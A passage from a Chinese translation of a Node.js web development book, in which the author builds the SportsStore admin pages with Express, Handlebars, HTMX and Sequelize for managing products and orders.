    // ...packages omitted for brevity...
  }
} 

如果服务器正在运行,请停止服务器,然后在 sportsstore 文件夹中运行 清单 20.11 中显示的命令以启动客户端构建工具和服务器。

清单 20.11:启动客户端构建工具和服务器

npm start 

打开浏览器并导航到 http://localhost:5000/admin。浏览器将显示管理布局,其中包含一些占位文本,如 图 20.2 所示。

图 20.2:准备管理功能

管理产品目录

现在基本结构已经就绪,是时候开始添加功能了。在 templates/admin 文件夹中创建一个名为 area_buttons.handlebars 的文件,其内容如 清单 20.12 所示。

清单 20.12:在 templates/admin 文件夹中的 area_buttons.handlebars 文件内容

<swap_wrapper hx-swap-oob="innerHTML:#area_buttons">
    <div class="d-grid gap-2" >
        <button id="products_btn" class="btn **{{ buttonClass "products" mode }}**"
            hx-get="/api/products/table" hx-target="#content">
            Products
        </button>
        <button id="orders_btn" class="btn {{ buttonClass "orders" mode }}"
            hx-get="/api/orders/table" hx-target="#content">
            Orders
        </button>
    </div>
</swap_wrapper> 

此模板包含允许用户选择功能区域的按钮:管理目录或处理订单。该文件由 Handlebars 模板引擎处理,该引擎评估 {{}} 部分以生成包含在客户端响应中的 HTML 内容。此文件中有两个模板表达式,它们更改应用于 button 元素的类属性值:

...
<swap_wrapper **hx-swap-oob="innerHTML:#area_buttons"**>
    <div class="d-grid gap-2" >
        <button id="products_btn" class="btn {{ buttonClass "products" mode }}"
           ** hx-get="****/api/products/table" hx-target="#content">**
            Products
        </button>
        <button id="orders_btn" class="btn {{ buttonClass "orders" mode }}"
           ** hx-get="/api/orders/table" hx-target="#content">**
            Orders
        </button>
    </div>
</swap_wrapper>
... 

应用到元素上的类将显示用户应用程序的哪个部分是活动的,并依赖于一个名为 buttonClass 的模板辅助器,我将很快创建它。

一旦浏览器接收到 HTML 内容,它将被 HTMX 包第二次处理,该包寻找以 hx 开头的属性名:

...
<swap_wrapper hx-swap-oob="innerHTML:#area_buttons">
    <div class="d-grid gap-2" >
        <button id="products_btn" class="btn {{ buttonClass "products" mode }}"
            hx-get="/api/products/table" hx-target="#content">
            Products
        </button>
        <button id="orders_btn" class="btn {{ buttonClass "orders" mode }}"
            hx-get="/api/orders/table" hx-target="#content">
            Orders
        </button>
    </div>
</swap_wrapper>
... 

hx-get 属性告诉 HTMX 向特定 URL 发送 GET 请求。默认情况下,HTMX 使用响应中的 HTML 来替换触发请求的元素,但可以通过 hx-target 属性来更改,这意味着 button 元素将请求 /api/products/table/api/orders/table,响应将使用 ID 为 content 的元素显示。(hx-target 属性的值是一个 CSS 选择器,# 前缀表示元素的 ID。)

hx-swap-oob 属性允许内容片段指定其显示的位置。应用于 swap_wrapper 元素的属性告诉 HTMX,它包含的内容应用于替换名为 area_buttons 的元素的内容。(swap_wrapper 元素名称完全是虚构的,并且被选择是为了不会与实际应用程序的 HTML 内容混淆。你可以在你的项目中使用任何元素名称。)

要定义在 Listing 20.12 中使用的 buttonClass 辅助函数,请将一个名为 admin_helpers.ts 的文件添加到 src/helpers 文件夹中,其内容如 Listing 20.13 所示。

Listing 20.13:src/helpers 文件夹中 admin_helpers.ts 文件的内容

export const buttonClass = (btn: string, mode: string) =>
    btn == mode ? "btn-secondary" : "btn-outline-secondary"; 

Listing 20.14 在应用程序启动时将新辅助函数包含在模板引擎配置中。

Listing 20.14:将辅助函数添加到 src/helpers 文件夹中的 index.ts 文件

import { Express } from "express";
import { getConfig } from "../config";
import { engine } from "express-handlebars";
import * as env_helpers from "./env";
import * as catalog_helpers from "./catalog_helpers";
import * as cart_helpers from "./cart_helpers";
import * as order_helpers from "./order_helpers";
**import * as admin_helpers from "./admin_helpers";**
const location = getConfig("templates:location");
const config = getConfig("templates:config");
export const createTemplates = (app: Express) => {
    app.set("views", location);
    app.engine("handlebars", engine({
        ...config,
       ** helpers: {...env_helpers, ...catalog_helpers, ...cart_helpers,**
 **...order_helpers, ...admin_helpers}**
    }));
    app.set("view engine", "handlebars");
} 

Listing 20.12 中的内容是一个部分模板,它将与其他内容结合以生成 HTML 响应,使用模板引擎提供的功能,并且模板还允许定义和管理小文件。将一个名为 product_table.handlebars 的文件添加到 templates/admin 文件夹中,其内容如 Listing 20.15 所示。

Listing 20.15:templates/admin 文件夹中 product_table.handlebars 文件的内容

{{> admin/area_buttons mode="products"}}
<table class="table table-sm">
    <thead>
        <tr>
            <th>ID</th><th>Name</th>
            <th>Category</th><th>Supplier</th>
            <th class="text-end">Price</th>
            <th></th>
        </tr>
    </thead>
    <tbody>
        {{#each products }}   
            <tr><td colspan="6">{{name}}</td></tr>
        {{/each }}
    </tbody>
</table> 

此模板向用户展示目录中的产品表,并包含了 area_buttons 部分模板。模板接收一个 product 数据属性,该属性用于使用 each 辅助函数填充表格的内容。

启动网络服务路由

我喜欢在工作的过程中将基本模板功能设置到位,并在路由和数据管理之间切换。当功能逐渐完善时,我会回到模板中细化数据展示。为了定义将提供目录初始视图的路由,请将一个名为 admin_catalog_routes.ts 的文件添加到 src/routes/admin 文件夹中,其内容如 Listing 20.16 所示。

Listing 20.16:src/routes/admin 文件夹中 admin_catalog_routes.ts 文件的内容

import { Router } from "express";
import { CategoryModel, ProductModel, SupplierModel }
    from "../../data/orm/models";

export const createAdminCatalogRoutes = (router: Router) => {
    router.get("/table", async (req, resp) => {
        const products = await ProductModel.findAll({
                include: [
                    {model: SupplierModel, as: "supplier" },
                    {model: CategoryModel, as: "category" }],
                raw: true, nest: true
        });
        resp.render("admin/product_table", { products });
    });
} 

createAdminCatalogRoutes 函数接收一个 Router 对象,它允许请求相对于在应用程序其他地方定义的基本 URL 进行处理。有一个处理 /table URL 的路由,并通过渲染由数据库读取的数据提供的 admin/product_table 模板进行响应。

在前面的章节中,我通过仓库访问数据库,这是我隔离数据访问细节的首选方式。并不是每个人都喜欢使用仓库及其引入的额外复杂性,因此对于管理功能,我将直接通过 Sequelize 模型类访问数据库,以展示这两种技术,表明它们可以在同一个项目中共存。为了获取模板的数据,请求处理程序查询所有 ProductModel 对象,并包括相关的 SupplierModelCategoryModel 对象。使用 raw 属性来防止 Sequelize 转换响应,这在从数据库读取的数据可以未经修改使用时是一个有用的选项。

注意

我仍然建议使用仓库,因为这样做可以确保数据访问的一致性,并且更容易替换数据访问包。如果你选择直接在你的项目中与数据访问包一起工作,请记住你将不得不通过初始化过程。对于 SportsStore 应用程序,这是在 src/data/orm 文件夹中的 core.ts 文件中完成的。

列表 20.17 在应用程序启动时调用 createAdminCatalogRoutes 函数。

列表 20.17:向 src/routes/admin 文件夹中的 index.ts 文件添加路由

**import { Express, Router } from "express"****;**
**import { createAdminCatalogRoutes } from "./admin_catalog_routes";**
export const createAdminRoutes = (app: Express) => {
    app.use((req, resp, next) => {
        resp.locals.layout = false;
        next();
    })
   ** const cat_router = Router();**
 **createAdminCatalogRoutes(cat_router);**
 **app.use("/api/products"****, cat_router);**
    app.get("/admin", (req, resp) => resp.render("admin/admin_layout"));
} 

创建一个新的 Router 对象并将其传递给 createAdminCatalogRoutes 函数,以便可以定义相对路由,然后使用 use 方法将其添加到请求管道。Router 是一个中间件组件,它试图将请求与它的路由相匹配;否则,它将传递请求。在这种情况下,传递给 createAdminCatalogRoutes 函数的 Router 对象被配置为尝试使用 列表 20.16 中定义的路由与 /api/products 路径相匹配,这意味着 /api/products/table URL 将由 列表 20.16 中定义的处理程序接收,并返回从 admin/product_table 模板渲染的输出。

列表 20.18 更新了顶层模板,以便 HTMX 会发送一个请求,该请求将由 列表 20.16 中定义的处理程序处理。

列表 20.18:将数据加载到 templates/admin 文件夹中的 admin_layout.handlebars 文件

<!DOCTYPE html>
<html>
    <head>
        <link href="/css/bootstrap.min.css" rel="stylesheet" />
        <link href="/font/bootstrap-icons.min.css" rel="stylesheet">
        {{#if (isDevelopment) }}
            <script src="img/bundle.js"></script>
        {{/if }}
        <script src="img/htmx.min.js"></script>
    </head>
    <body>
        <div class="container-fluid">
            <div class="row bg-info text-white py-2 px-1">
                <div class="col align-baseline pt-1">SPORTS STORE ADMIN</div>
                <div class="col-auto text-end"></div>
            </div>
            <div class="row p-2">
                <div class="col-2" id="area_buttons"></div>
               ** <div class="col" id="****content" hx-get="/api/products/table"**
 **hx-trigger="load"></div>**
            </div>
        </div>
    </body>
</html> 

hx-get 属性告诉 HTMX 请求 /api/product/table URL。默认情况下,当用户与元素交互时发送请求,但 hx-trigger 属性会覆盖此行为,并告诉 HTMX 在元素加载时发送 HTTP 请求。使用浏览器请求 http://localhost:5000/admin,你将看到 图 20.3 中显示的内容。

图片

图 20.3:开始开发管理功能

在继续之前,回顾一下产生图中所示内容的流程是值得的:

  1. 用户请求 http://localhost:5000/admin

  2. 请求通过渲染 admin_layout 模板来处理,该模板包含一个元素,其属性告诉 HTMX 在 HTML 内容加载后发送一个 HTTP 请求到 http://localhost:5000/api/products/table

  3. 第二个请求通过渲染 product_table 模板来处理,生成的内容用作触发 HTTP 请求的元素的内容,除了 area_buttons 部分模板中的内容,该内容用于替换具有相同名称的元素的内容。

这种内容初始展示可能看起来像是现有的往返功能,但关键区别在于,部分内容是通过网络服务获得的,随着功能的增加,其重要性将变得更加明显。

显示产品数据和删除产品

现在基本结构已经就绪,我将加快速度,构建产品管理功能的其余部分,并定期检查一切是否按预期工作。为了正确显示产品详情,将一个名为 product_row.handlebars 的文件添加到 templates/admin 文件夹中,其内容如 列表 20.19 所示。

列表 20.19:templates/admin 文件夹中 product_row.handlebars 文件的内容

<tr id="row{{ id }}">
    <td>{{ id }}</td>
    <td>{{ name }}</td>
    <td>{{ category.name }}</td>
    <td>{{ supplier.name }}</td>
    <td class="text-end">{{ currency price}}</td>
    <td class="ps-3">       
        <button class="btn btn-sm btn-warning"
            hx-get="/api/products/edit/{{id}}" hx-target="#content">
                Edit
            </button>
        <button class="btn btn-sm btn-danger"
            hx-delete="/api/products/{{id}}" hx-target="#row{{id}}"
                    hx-swap="delete">
                Delete
        </button>           
    </td>
</tr> 

按钮 元素将允许用户编辑或删除产品。编辑 按钮元素具有 hx-get 属性,当点击按钮时会发送请求,包括请求 URL 中的 id 值,因此点击具有 ID 2 的产品的 编辑 按钮将发送一个 HTTP 请求到 /api/products/edit/2

删除 按钮元素具有 hx-delete 属性,它告诉 HTMX 在点击按钮时发送一个 HTTP DELETE 请求。hx-swap 属性设置为 delete,这告诉 HTMX 移除由 hx-target 属性指定的元素。结果是,当点击 删除 按钮时,产品所在的表格行将被移除,并且服务器确认产品已从数据库中删除。

列表 20.20 将新模板应用于格式化产品数据。

列表 20.20:将模板应用于 templates/admin 文件夹中的 product_table.handlebars 文件

{{> admin/area_buttons mode="products"}}
<table class="table table-sm">
    <thead>
        <tr>
            <th>ID</th><th>Name</th>
            <th>Category</th><th>Supplier</th>
            <th class="text-end">Price</th>
            <th></th>
        </tr>
    </thead>
    <tbody>
        {{#each products }}   
           ** {{> admin/product_row }}**
        {{/each }}
    </tbody>
</table> 

列表 20.21 添加了一条处理 DELETE 请求的路由,该路由接收一个 URL 参数来指定要删除的产品 ID。

列表 20.21:向 src/routes/admin 文件夹中的 admin_catalog_routes.ts 文件添加路由

import { Router } from "express";
import { CategoryModel, ProductModel, SupplierModel }
    from "../../data/orm/models";
export const createAdminCatalogRoutes = (router: Router) => {
    router.get("/table", async (req, resp) => {
        const products = await ProductModel.findAll({
                include: [
                    {model: SupplierModel, as: "supplier" },
                    {model: CategoryModel, as: "category" }],
                raw: true, nest: true
        });
        resp.render("admin/product_table", { products });
    });
   ** router.delete("/:id", async (req, resp) => {**
 **const** **id = req.params.id;**
 **const count = await ProductModel.destroy({ where: { id }});**
 **if (count == 1) {**
 **resp.end****();**
 **} else {**
 **throw Error(`Unexpected deletion count result: ${count}`)**
 **}**
 **});**
} 

请求 http://localhost:5000/admin,你将看到产品数据的更详细展示。点击 删除 按钮将从数据库中删除一个产品,如图 图 20.4 所示。(应用程序被配置为重置数据库,这意味着删除的产品将在你更改项目文件中的任何一个文件时被恢复。)

图 20.4:产品详情和删除产品

编辑产品

编辑功能将向用户展示一个填充了产品详细信息的 HTML 表单,当表单提交包含异常值时,会显示验证信息。我打算通过一系列更小、更易于管理的模板来构建这个表单,这些模板将被组合起来生成 HTML 响应,并确保每个数据属性都得到一致的处理。首先,创建一个用于显示验证信息的模板,将名为validation_messages.handlebars的文件添加到templates/admin文件夹中,其内容如清单 20.22所示。

清单 20.22:templates/admin文件夹中validation_messages.handlebars文件的内容

{{#if invalid }}
    {{#each messages }}
        <div class="text-danger">{{ this }}</div>
    {{/each }}
{{/if }} 

我将使用现有的验证功能,这意味着当存在验证问题时,invalid属性将为true,而messages属性将包含要显示给用户的文本内容。

部分产品详情将通过input元素显示,允许用户自由输入值。为了创建input元素的模板,将名为product_input.handlebars的文件添加到templates/admin文件夹中,其内容如清单 20.23所示。

清单 20.23:templates/admin文件夹中product_input.handlebars文件的内容

<div class="mb-2">
    <label>{{label}}</label>
    <input {{ disabled label }} name="{{ name }}" class="form-control"
        value="{{ data.value }}" />
    {{> admin/validation_messages data }}
</div> 

模板创建labelinput元素,使用 Bootstrap CSS 样式进行格式化,并包含validation messages模板。为了简化数据管理,用户将不允许更改产品的ID属性,因此使用disabled助手在用于ID属性的元素上添加disabled属性,如清单 20.24所示。

清单 20.24:在src/helpers文件夹中的admin_helpers.ts文件中添加一个助手

export const buttonClass = (btn: string, mode: string) =>
    btn == mode ? "btn-secondary" : "btn-outline-secondary";
**export const disabled = (val: any) => val == "ID"** **? "disabled" : "";** 

一些产品属性将通过从值列表中选择来编辑。为了创建一个将生成select元素的模板,将名为product_select.handlebars的文件添加到templates/admin文件夹中,其内容如清单 20.25所示。

清单 20.25:templates/admin文件夹中product_select.handlebars文件的内容

<div class="mb-2">
    <label>{{ label }}</label>
    <select name="{{name}}" class="form-select " >
        <option value="" disabled selected>Choose Category</option>
        {{#each list }}
            <option {{ selected id ../data.value }}
                value="{{id}}">{{ name }}
            </option>
        {{/each}}
    </select>
    {{> admin/validation_messages data }}
</div> 

select元素填充了一组option元素,用户可以从中选择,以及一个后续添加新产品支持时将很有用的回退元素。需要一个助手来确定option元素是否带有selected属性,如清单 20.26所示。

清单 20.26:在src/helpers文件夹中的admin_helpers.ts文件中添加一个助手

export const buttonClass = (btn: string, mode: string) =>
    btn == mode ? "btn-secondary" : "btn-outline-secondary";
export const disabled = (val: any) => val == "ID" ? "disabled" : "";
**export const selected = (val1: any, val2: any) =>**
 **val1 == val2 ? "selected" : "";** 

为了创建将inputselect元素组合起来向用户提供完整 HTML 表单的模板,将名为product_editor.handlebars的文件添加到templates/admin文件夹中,其内容如清单 20.27所示。

清单 20.27:templates/admin文件夹中product_editor.handlebars文件的内容

{{> admin/area_buttons mode="products"}}
<form hx-put="/api/products/{{product.id.value}}">
    {{> admin/product_input label="ID" name="id" data=product.id }}
    {{> admin/product_input label="Name" name="name" data=product.name }}
    <div class="mb-2">
        <label>Description</label>
        <textarea name="description"
            class="form-control">{{ product.description.value }}</textarea>
        {{> admin/validation_messages product.description }}           
    </div>
    {{> admin/product_select label="Category" name="categoryId"
            data=product.categoryId list=categories}}
    {{> admin/product_select label="Supplier" name="supplierId"
            data=product.supplierId list=suppliers}}
    {{> admin/product_input label="Price" name="price" data=product.price }}
    <div>
        <button type="submit" class="btn btn-secondary text-white">Save</button>
        <button class="btn btn-outline-secondary"
            hx-get="/api/products/table" hx-target="#content">Cancel</button>
    </div>
</form> 

此模板包含一个带有 hx-put 属性的 form 元素,该属性告诉 HTMX 使用 HTTP PUT 请求将表单提交到结合 /api/products 和产品 ID 的 URL(例如,对于 ID 值为 1 的产品,URL 为 /api/products/1)。

表单内容是通过 inputselect 元素的模板以及允许用户输入多行文本的 textarea 元素创建的。还有一个按钮将触发 PUT 请求,以及一个 取消 按钮指示 HTMX/api/products/table 发送 get 请求并在 content 元素中显示结果。

添加产品数据验证

在将产品编辑表单接收到的数据存储在数据库之前,必须对其进行验证。将名为 product_dto_rules.ts 的文件添加到 src/data/validation 文件夹中,其内容如 列表 20.28 所示。

列表 20.28:src/data/validation 文件夹中 product_dto_rules.ts 文件的内容

import { Validator } from "./validator";
import { required, minLength } from "./basic_rules";
import { ValidationStatus } from ".";
import { CategoryModel, SupplierModel } from "../orm/models";
type ProductDTO = {
    name: string, description: string, categoryId: number,
    supplierId: number, price: number
}
const supplierExists = async (status: ValidationStatus) => {
    const count = await SupplierModel.count({ where: { id: status.value } });
    if (count !== 1) {
        status.setInvalid(true);
        status.messages.push("A valid supplier is required");       
    }
}
const categoryExists = async (status: ValidationStatus) => {
    const count = await CategoryModel.count({ where: { id: status.value } });
    if (count !== 1) {
        status.setInvalid(true);
        status.messages.push("A valid category is required");       
    }
}
export const ProductDTOValidator = new Validator<ProductDTO>({   
    name: [required, minLength(3)],
    description: required,
    categoryId : categoryExists,
    supplierId: supplierExists,
    price: required,
}); 

ProductDTO 类型表示用户编辑产品并提交表单时将接收到的数据(术语 DTO 代表 数据传输对象,用于描述在数据传输时表示数据的类型)。ProductDTO 类型的验证规则作为常量导出,命名为 ProductDTOValidator。需要两个自定义规则来确保值对应于数据库中现有的供应商或类别。列表 20.29 集成了新的验证器。

列表 20.29:在 src/data/validation 文件夹中的 index.ts 文件中添加验证器

export * from "./validation_types";
export * from "./validator";
export * from "./basic_rules";
export * from "./order_rules";
**export * from "./product_dto_rules";** 

添加编辑路由

需要两个新的路由来支持编辑:第一个路由接收 HTTP GET 请求并返回一个填充的 HTML 表单。第二个路由接收 HTTP PUT 请求,负责验证数据并将其存储。这两个路由都在 列表 20.30 中定义。

列表 20.30:在 src/routes/admin 文件夹中的 admin_catalog_routes.ts 文件中添加编辑路由

import { Router } from "express";
import { CategoryModel, ProductModel, SupplierModel }
    from "../../data/orm/models";
**import { ProductDTOValidator, getData, isValid } from "../../data/validation";**
export const createAdminCatalogRoutes = (router: Router) => {
    // ...existing routes omitted for brevity...
    **router.get("/edit/:id", async (req, resp) => {**
 **const id = req.****params.id;**
 **const data = {**
 **product: { id: { value: id },**
 **...await ProductDTOValidator.validate(**
 **await** **ProductModel.findByPk(id, { raw: true}))},**
 **suppliers: await SupplierModel.findAll({raw: true}),**
**categories: await CategoryModel.findAll({raw: true})**
 **};**
 **resp.render("admin/product_editor", data);**
 **});**
 **router.put("/:id",** **async (req, resp) => {**
 **const validation = await ProductDTOValidator.validate(req.body);**
 **if (isValid(validation)) {**
 **await ProductModel.****update(**
 **getData(validation), { where: { id: req.params.id}}**
 **);**
 **resp.redirect(303, "/api/products/table");**
 **} else {**
 **resp.****render("admin/product_editor", {**
 **product: { id: { value: req.params.id} , ...validation },**
 **suppliers: await SupplierModel.****findAll({raw: true}),**
 **categories: await CategoryModel.findAll({raw: true})**
 **})**
 **}**
 **});** 
} 

GET 路由通过 URL 接收用户想要编辑的产品 ID,并查询数据库以获取数据,这些数据通过验证器传递,以便在开始编辑和接收到无效数据时可以使用相同的模板。

PUT 路由接收用户想要存储的数据,其中包含从 URL 接收的 ID。数据被验证,如果无效,则渲染 admin/product_editor 模板,该模板将向用户显示验证消息。

如果数据有效,则更新数据库并将浏览器重定向,如下所示:

...
resp.redirect(303, "/api/products/table");
... 

303 状态码会导致浏览器使用 HTTP GET 请求请求指定的 URL,并通过显示产品数据(包括编辑后的数据)来有效地结束编辑会话。

303 重定向的一个问题是,在开发过程中可能会失败,因为 Helmet 包应用的默认安全配置告诉浏览器升级不安全请求。这意味着 303 重定向告诉浏览器请求 http://localhost:5000/api/products/table;然而,由于安全策略,浏览器将发出 HTTPS 请求。列表 20.31 在配置文件中添加了一个新部分,该部分将用于配置 Helmet 包。

列表 20.31:在 sportsstore 文件夹中的 server.config.json 文件中添加部分

{
    "http": {
        "port": 5000,
        **"content_security": {**
 **"****contentSecurityPolicy": {**
 **"directives": {**
 **"upgradeInsecureRequests": null**
 **}**
 **}**
 **}**
    },
    // ...other configuration sections omitted for brevity...
} 

列表 20.32 更新应用程序配置,以在应用程序处于开发环境时禁用不安全的升级。

列表 20.32:在 src 文件夹中的 server.ts 文件中禁用不安全的升级

import { createServer } from "http";
import express, { Express } from "express";
import helmet from "helmet";
import { getConfig, getEnvironment, Env } from "./config";
import { createRoutes } from "./routes";
import { createTemplates } from "./helpers";
import { createErrorHandlers } from "./errors";
import { createSessions } from "./sessions";
import { createAuthentication } from "./authentication";
import httpProxy from "http-proxy";
const port = getConfig("http:port", 5000);
const expressApp: Express = express();
**expressApp.use(helmet(****getConfig("http:content_security", {})));**
expressApp.use(express.json());
expressApp.use(express.urlencoded({extended: true}))
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use(express.static("node_modules/bootstrap-icons"));
expressApp.use(express.static("node_modules/htmx.org/dist"));
createTemplates(expressApp);
createSessions(expressApp);
createAuthentication(expressApp);
createRoutes(expressApp);
const server = createServer(expressApp);
if (getEnvironment() === Env.Development) {
    const proxy = httpProxy.createProxyServer({
        target: "http://localhost:5100", ws: true
    });   
    expressApp.use("/admin", (req, resp) => proxy.web(req, resp));
    server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));
}
createErrorHandlers(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

让浏览器自动重新加载或导航到 http://localhost:5000/admin,然后点击其中一个产品的 编辑 按钮。清除 名称 字段并点击 保存 按钮以查看验证错误。输入新名称并再次点击 保存 按钮,你将看到修改后的数据在概览表中显示,如图 图 20.5 所示。

你可能需要清除浏览器缓存以使安全策略的更改生效。一些浏览器,包括 Chrome,将尝试升级到 HTTPS 连接,直到清除缓存。

图 20.5:验证和编辑数据

请记住,应用程序配置为每次有更改时重置数据库,这意味着你做的更改将在检测到文件更改后立即丢失。

创建新产品

最后一个功能是创建新产品。列表 20.33 添加了一个新的 button 元素,该元素将发送一个 HTTP GET 请求以启动编辑过程。

列表 20.33:在 templates/admin 文件夹中的 product_table.handlebars 文件中添加元素

{{> admin/area_buttons mode="products"}}
<table class="table table-sm">
    <thead>
        <tr>
            <th>ID</th><th>Name</th>
            <th>Category</th><th>Supplier</th>
            <th class="text-end">Price</th>
            <th></th>
        </tr>
    </thead>
    <tbody>
        {{#each products }}   
            {{> admin/product_row }}
        {{/each }}
    </tbody>
</table>
**<button class="btn btn-secondary" hx-get="/api/products/create"**
 **hx-target="#content">**
 **Create**
**</button>** 

列表 20.34 更新编辑模板,以便根据名为 create 的属性值在 HTML 输出中包含不同的 form 元素,因此创建新产品时使用 POST 请求,而修改现有数据时使用 PUT 请求。

列表 20.34:在 templates/admin 文件夹中的 product_editor.handlebars 文件中更改表单

{{> admin/area_buttons mode="products"}}
**{{#if create}}**
**<form hx-post="/api/products/create">**
**{{else}}**
**<form hx-put="/api/products/{{product.id.value}}">**
**{{/if}}**
    {{> admin/product_input label="ID" name="id" data=product.id }}
    {{> admin/product_input label="Name" name="name" data=product.name }}
    <div class="mb-2">
        <label>Description</label>
        <textarea name="description"
            class="form-control">{{ product.description.value }}</textarea>
        {{> admin/validation_messages product.description }}           
    </div>
    {{> admin/product_select label="Category" name="categoryId"
            data=product.categoryId list=categories}}
    {{> admin/product_select label="Supplier" name="supplierId"
            data=product.supplierId list=suppliers}}
    {{> admin/product_input label="Price" name="price" data=product.price }}
    <div>
        <button type="submit" class="btn btn-secondary text-white">Save</button>
        <button class="btn btn-outline-secondary"
            hx-get="/api/products/table" hx-target="#content">Cancel</button>
    </div>
</form> 

列表 20.35 添加了两个新的路由,它们处理启动创建过程的 GET 请求和用户提交表单时发送的 POST 请求。

列表 20.35:在 src/routes 文件夹中的 admin_catalog_routes.ts 文件中添加路由

import { Router } from "express";
import { CategoryModel, ProductModel, SupplierModel }
    from "../../data/orm/models";
import { ProductDTOValidator, getData, isValid } from "../../data/validation";
export const createAdminCatalogRoutes = (router: Router) => {
    // ...other routes omitted for brevity...
    **router.get("/create", async (req, resp) => {**
 **const data = {**
 **product: {},**
 **suppliers: await** **SupplierModel.findAll({raw: true}),**
 **categories: await CategoryModel.findAll({raw: true}),**
**create: true**
 **};**
 **resp.render("admin/product_editor", data);**
 **});**
 **router.post("/create", async (req, resp) => {**
 **const validation = await** **ProductDTOValidator.validate(req.body);**
 **if (isValid(validation)) {**
 **await ProductModel.create(getData(validation));**
 **resp.redirect(****303, "/api/products/table");**
 **} else {**
 **resp.render("admin/product_editor", {**
 **product: validation,**
 **suppliers: await SupplierModel.findAll({****raw: true}),**
 **categories: await CategoryModel.findAll({raw: true}),**
 **create: true**
 **})**
 **}**
 **});** 
} 

让浏览器重新加载或请求 http://localhost:5000/admin,然后点击 创建 按钮。填写表单并点击 保存 按钮以创建新产品,如图 图 20.6 所示。

图 20.6:创建新产品

管理订单

现在产品特性已经就绪,是时候转向订单数据了。将一个名为 admin_order_routes.ts 的文件添加到 src/routes/admin 文件夹中,内容如 列表 20.36 所示。

列表 20.36:src/routes/admin 文件夹中 admin_order_routes.ts 文件的内容

import { Router } from "express";
import { AddressModel, OrderModel, ProductSelectionModel }
    from "../../data/orm/models/order_models";
import { CustomerModel } from "../../data/orm/models/customer_models";
import { ProductModel } from "../../data/orm/models";
export const createAdminOrderRoutes = (router: Router) => {
    router.get("/table", async (req, resp) => {
        const orders = (await OrderModel.findAll({
            include: [
                { model: CustomerModel, as: "customer"},
                { model: AddressModel, as: "address"},
                { model: ProductSelectionModel, as: "selections",
                    include: [{ model: ProductModel, as: "product"}]
                }
            ],
            order: ["shipped", "id"]
        })).map(o => o.toJSON())
        resp.render("admin/order_table", { orders });
    });
    router.post("/ship", async (req, resp) => {
        const { id, shipped } = req.body;
        const [rows] = await  OrderModel.update({ shipped },{ where: { id }});
        if (rows === 1) {
            resp.redirect(303, "/api/orders/table");
        } else {
            throw new Error(`Expected 1 row updated, but got ${rows}`);
        }
    });
} 

处理 GET 请求的路由渲染一个名为 admin/order_table 的模板,该模板提供了数据库中的订单。早期的查询使用了 raw 设置,这告诉 Sequelize 将从数据库读取的数据原样传递,当数据自然地适合消耗它的模板时,这是一个很好的技术。在这种情况下,嵌套的 include 属性导致查询在没有额外处理的情况下不易使用。而不是使用 raw 设置,Sequelize 处理数据,然后使用 toJSON 方法将其转换为简单的对象格式:

...
const orders = (await OrderModel.findAll({
    include: [{ model: CustomerModel, as: "customer"},
              { model: AddressModel, as: "address"},
              { model: ProductSelectionModel, as: "selections",
                    include: [{ model: ProductModel, as: "product"}]
               }],
            order: ["shipped", "id"]
        })).map(o => o.**toJSON**())
... 

需要 toJSON 方法,因为 Sequelize 通常创建跟踪更改的对象,以便它们可以写入数据库,但这会混淆模板引擎。toJSON 方法创建没有跟踪功能且适合模板使用的对象。

POST 请求的处理程序用于更改订单的运输状态。如果收到与数据库中订单相对应的请求,则更新数据库并使用 HTTP 303 状态码执行重定向。

列表 20.37 启用了订单路由,以便通过 /api/orders 前缀访问。

列表 20.37:src/routes/admin 文件夹中 index.ts 文件中配置路由

import { Express, Router } from "express";
import { createAdminCatalogRoutes } from "./admin_catalog_routes";
**import** **{ createAdminOrderRoutes } from "./admin_order_routes";**
export const createAdminRoutes = (app: Express) => {
    app.use((req, resp, next) => {
        resp.locals.layout = false;
        next();
    })
    const cat_router = Router();
    createAdminCatalogRoutes(cat_router);
    app.use("/api/products", cat_router);
    **const** **order_router = Router();**
 **createAdminOrderRoutes(order_router);**
 **app.use("/api/orders", order_router);**
    app.get("/admin", (req, resp) => resp.render("admin/admin_layout"));
} 

要创建将展示订单数据的模板,将一个名为 order_table.handlebars 的文件添加到 templates/admin 文件夹中,内容如 列表 20.38 所示。

列表 20.38:templates/admin 文件夹中 order_table.handlebars 文件的内容

{{> admin/area_buttons mode="orders"}}
<table class="table table-sm table-bordered">
    <thead><tr><th colspan="7" class="text-center">Orders</th></tr></thead>
    <tbody>
        {{#unless orders}}
          <tr><td colspan="7" class="text-center">No Orders</td></tr>
        {{/unless}}
        {{#each orders}}
            <tr class="table-active">
                <th>#</th><th>Customer</th><th>ZIP</th>
                <th>Product</th><th>Quantity</th><th>Price</th><th></th>
            </tr>
            {{#each selections}}
            <tr>
                {{#if (first @index)}}
                    <td>{{ ../id }}</td>
                    <td>{{ ../customer.name }}</td>
                    <td>{{ ../address.zip }}</td>
                {{else }}
                    <th colspan="3"></th>
                {{/if}}
                <td>{{product.name}}</td>
                <td>{{ quantity }}</td>
                <td>{{currency product.price}}</td>
                {{#if (first @index)}}
                    {{> admin/order_button id=../id shipped=../shipped}}
                {{else}}
                    <td></td>
                {{/if}}
                </tr>
            {{/each }}
            <tr>
                <th colspan="5" class="text-end">Total:</th>
                <td>{{currency (total selections)}}</td>
                <td></td>
            </tr>
        {{/each}}
    </tbody>
</table> 

该模板的复杂性在于表格的结构,其中订单详情使用摘要和详细行展示。要创建一个将向用户展示更改运输状态按钮的模板,在 templates/admin 文件夹中创建一个名为 order_button.handlebars 的文件,内容如 列表 20.39 所示。

列表 20.39:templates/admin 文件夹中 order_button.handlebars 文件的内容

<td>
    <form hx-post="/api/orders/ship" hx-target="#content">
        <input type="hidden" name="id" value="{{id}}">
        {{#if shipped }}
            <input type="hidden" name="shipped" value="false">
            <button class="btn btn-sm btn-warning">Mark Unshipped</button>
        {{else }}
            <input type="hidden" name="shipped" value="true">
            <button class="btn btn-sm btn-danger">Ship Order</button>
        {{/if}}
    </form>
</td> 

hx-post 属性指示 HTMX 在用户点击按钮时发送一个 POST 请求。列表 20.40 定义了用于订单模板所需的辅助器。

列表 20.40:向 src/helpers 文件夹中的 admin_helpers.ts 文件添加辅助器

export const buttonClass = (btn: string, mode: string) =>
    btn == mode ? "btn-secondary" : "btn-outline-secondary";
export const disabled = (val: any) => val == "ID" ? "disabled" : "";
export const selected = (val1: any, val2: any) =>
    val1 == val2 ? "selected" : "";
**export const first = (index: number) => index == 0;**
**export const total = (sels: any[]) =>**
